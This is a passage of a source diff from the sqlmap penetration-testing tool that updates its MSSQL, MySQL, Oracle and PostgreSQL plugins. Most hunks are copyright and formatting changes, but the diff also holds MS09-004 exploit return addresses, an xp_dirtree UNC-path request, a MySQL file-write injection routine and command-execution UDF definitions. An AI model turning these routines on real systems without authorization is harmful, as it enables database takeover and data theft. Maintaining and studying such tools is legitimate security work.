http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions - # http://en.wikipedia.org/wiki/Windows_NT#Releases - versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), - "2000": ("5.0", (4, 3, 2, 1)), - "XP": ("5.1", (3, 2, 1)), - "2003": ("5.2", (2, 1)), - "Vista or 2008": ("6.0", (2, 1)), - "7 or 2008 R2": ("6.1", (1, 0)), - "8 or 2012": ("6.2", (0,)), - "8.1 or 2012 R2": ("6.3", (0,)) } + # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions + # https://en.wikipedia.org/wiki/Windows_NT#Releases + versions = { + "NT": ("4.0", (6, 5, 4, 3, 2, 1)), + "2000": ("5.0", (4, 3, 2, 1)), + "XP": ("5.1", (3, 2, 1)), + "2003": ("5.2", (2, 1)), + "Vista or 2008": ("6.0", (2, 1)), + "7 or 2008 R2": ("6.1", (1, 0)), + "8 or 2012": ("6.2", (0,)), + "8.1 or 2012 R2": ("6.3", (0,)) + } # Get back-end DBMS underlying operating system version for version, data in versions.items(): diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index f7f042af0d3..e93427e6330 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index c3a3381e2e5..0377c4d376d 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,32 +20,33 @@ def __init__(self): GenericTakeover.__init__(self) def uncPathRequest(self): - #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) + # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: - * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx - * http://support.microsoft.com/kb/959420 + * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004 + * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co """ returns = { - # 2003 Service Pack 0 - "2003-0": (""), + # 2003 Service Pack 0 + "2003-0": (""), - # 2003 Service Pack 1 - "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + # 2003 Service Pack 1 + "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 12/2008 - #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + # 2003 Service Pack 2 updated at 12/2008 + # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"), - # 2003 Service Pack 2 updated at 05/2009 - "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), + # 2003 Service Pack 2 updated at 05/2009 + "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), + + # 2003 Service Pack 2 updated at 09/2009 + # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), + } - # 2003 Service Pack 2 updated at 09/2009 - #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), - } addrs = None for versionSp, data in returns.items(): diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 276c67663a6..2d267553831 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,11 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF return data-type - "sys_exec": { "return": "int" }, - "sys_eval": { "return": "string" }, - "sys_bineval": { "return": "int" } - } + # UDF name: UDF return data-type + "sys_exec": {"return": "int"}, + "sys_eval": {"return": "string"}, + "sys_bineval": {"return": "int"} + } Syntax.__init__(self) Fingerprint.__init__(self) diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 7f2be46ef11..8b64f322a37 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ import logging import struct +from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -37,10 +38,8 @@ def connect(self): try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except (pymysql.OperationalError, pymysql.InternalError), msg: - raise SqlmapConnectionException(msg[1]) - except struct.error, msg: - raise SqlmapConnectionException(msg) + except (pymysql.OperationalError, pymysql.InternalError, pymysql.ProgrammingError, struct.error), msg: + raise SqlmapConnectionException(getSafeExString(msg)) self.initCursor() self.printConnected() @@ -49,7 +48,7 @@ def fetchall(self): try: return self.cursor.fetchall() except pymysql.ProgrammingError, msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) return None def execute(self, query): @@ -59,9 +58,9 @@ def execute(self, query): self.cursor.execute(query) retVal = True except (pymysql.OperationalError, pymysql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(msg)) except pymysql.InternalError, msg: - raise SqlmapConnectionException(msg[1]) + raise SqlmapConnectionException(getSafeExString(msg)) self.connector.commit() diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 65370fd4559..c375e891ef2 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index cebeca56bf6..07950d91cb8 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.agent import agent +from lib.core.common import getSQLSnippet from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import popValue @@ -14,12 +16,15 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.decorators import stackedmethod from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapNoneDataException from lib.request import inject +from lib.request.connect import Connect as Request from lib.techniques.union.use import unionUse from plugins.generic.filesystem import Filesystem as GenericFilesystem @@ -68,20 +73,20 @@ def stackedReadFile(self, rFile): raise SqlmapNoneDataException(warnMsg) else: length = int(length) - sustrLen = 1024 + chunkSize = 1024 - if length > sustrLen: + if length > chunkSize: result = [] - for i in xrange(1, length, sustrLen): - chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) - + for i in xrange(1, length, chunkSize): + chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result + @stackedmethod def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") @@ -111,6 +116,34 @@ def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): return self.askCheckWrittenFile(wFile, dFile, forceCheck) + def linesTerminatedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(wFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warn(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=dFile, HEXSTRING=fcEncodedStr) + query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + payload = agent.payload(newValue=query) + Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) + + warnMsg = "expect junk characters inside the " + warnMsg += "file as a leftover from original query" + singleTimeWarnMessage(warnMsg) + + return self.askCheckWrittenFile(wFile, dFile, forceCheck) + def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" @@ -129,6 +162,8 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("inserting the hexadecimal encoded file to the support table") + inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) + for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 9a0ec75e67f..e6b69397a70 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -41,18 +41,19 @@ def _commentCheck(self): # Reference: https://downloads.mysql.com/archives/community/ versions = ( - (32200, 32235), # MySQL 3.22 - (32300, 32359), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40131), # MySQL 4.1 - (50000, 50096), # MySQL 5.0 - (50100, 50172), # MySQL 5.1 - (50400, 50404), # MySQL 5.4 - (50500, 50554), # MySQL 5.5 - (50600, 50635), # MySQL 5.6 - (50700, 50717), # MySQL 5.7 - (60000, 60014), # MySQL 6.0 - ) + (32200, 32235), # MySQL 3.22 + (32300, 32359), # MySQL 3.23 + (40000, 40032), # MySQL 4.0 + (40100, 40131), # MySQL 4.1 + (50000, 50096), # MySQL 5.0 + (50100, 50172), # MySQL 5.1 + (50400, 50404), # MySQL 5.4 + (50500, 50564), # MySQL 5.5 + (50600, 50644), # MySQL 5.6 + (50700, 50726), # MySQL 5.7 + (60000, 60014), # MySQL 6.0 + (80000, 80015), # MySQL 8.0 + ) index = -1 for i in xrange(len(versions)): @@ -123,7 +124,7 @@ def getFingerprint(self): value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") if banVer and re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" @@ -182,8 +183,15 @@ def checkDbms(self): # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 + # Determine if it is MySQL >= 8.0.0 + if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"): + kb.data.has_information_schema = True + Backend.setVersion(">= 8.0.0") + setDbms("%s 8" % DBMS.MYSQL) + self.getBanner() + # Determine if it is MySQL >= 5.0.0 - if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): + elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) @@ -195,9 +203,17 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) - # Check if it is MySQL >= 5.5.0 - if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): - Backend.setVersion(">= 5.5.0") + # Check if it is MySQL >= 5.7 + if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"): + Backend.setVersion(">= 5.7") + + # Check if it is MySQL >= 5.6 + elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"): + Backend.setVersion(">= 5.6") + + # Check if it is MySQL >= 5.5 + elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"): + Backend.setVersion(">= 5.5") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 61f145e5f52..b2ad286a96d 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 4a5173b5241..a66d1231322 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -67,10 +67,10 @@ def udfSetRemotePath(self): # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: - #logger.debug("retrieving MySQL data directory absolute path") + # logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir - #self.__datadir = inject.getValue("SELECT @@datadir") + # self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index fa8b5368ecf..fd2c5f5afb8 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index aa6be3b19bf..76d2087bf6a 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import logging import os +import re from lib.core.convert import utf8encode from lib.core.data import conf @@ -23,10 +24,10 @@ class Connector(GenericConnector): """ - Homepage: http://cx-oracle.sourceforge.net/ - User guide: http://cx-oracle.sourceforge.net/README.txt - API: http://cx-oracle.sourceforge.net/html/index.html - License: http://cx-oracle.sourceforge.net/LICENSE.txt + Homepage: https://oracle.github.io/python-cx_Oracle/ + User https://cx-oracle.readthedocs.io/en/latest/ + API: https://wiki.python.org/moin/DatabaseProgramming + License: https://cx-oracle.readthedocs.io/en/latest/license.html#license """ def __init__(self): @@ -42,7 +43,13 @@ def connect(self): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") - except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): + except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), ex: + if "Oracle Client library" in str(ex): + msg = re.sub(r"DPI-\d+:\s+", "", str(ex)) + msg = re.sub(r': ("[^"]+")', r" (\g<1>)", msg) + msg = re.sub(r". See (http[^ ]+)", r'. See "\g<1>"', msg) + raise SqlmapConnectionException(msg) + try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 0ea903d6678..98154351619 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index aeb3a57f908..b4c8a176973 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 2d4f46369f1..3cf07e69716 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -46,7 +46,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) @@ -68,23 +68,23 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting - # directly to the Oracle database + # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("ROWNUM=ROWNUM") + result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) - # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does + # NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: - result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") + result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index bb442759deb..df00405104d 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index b5b381c6227..c716307cd90 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index bc24a57c2f8..a2153057482 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -23,12 +23,12 @@ class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { "input": ["text"], "return": "int4" }, - "sys_eval": { "input": ["text"], "return": "text" }, - "sys_bineval": { "input": ["text"], "return": "int4" }, - "sys_fileread": { "input": ["text"], "return": "text" } - } + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": {"input": ["text"], "return": "int4"}, + "sys_eval": {"input": ["text"], "return": "text"}, + "sys_bineval": {"input": ["text"], "return": "int4"}, + "sys_fileread": {"input": ["text"], "return": "text"} + } Syntax.__init__(self) Fingerprint.__init__(self) diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index e480d17dc5f..ac35c24b5f8 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index a5754895d42..c089fcba0f0 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 46c3611be4d..d97b68db081 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 61c0d6efd1b..13867fd9da0 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 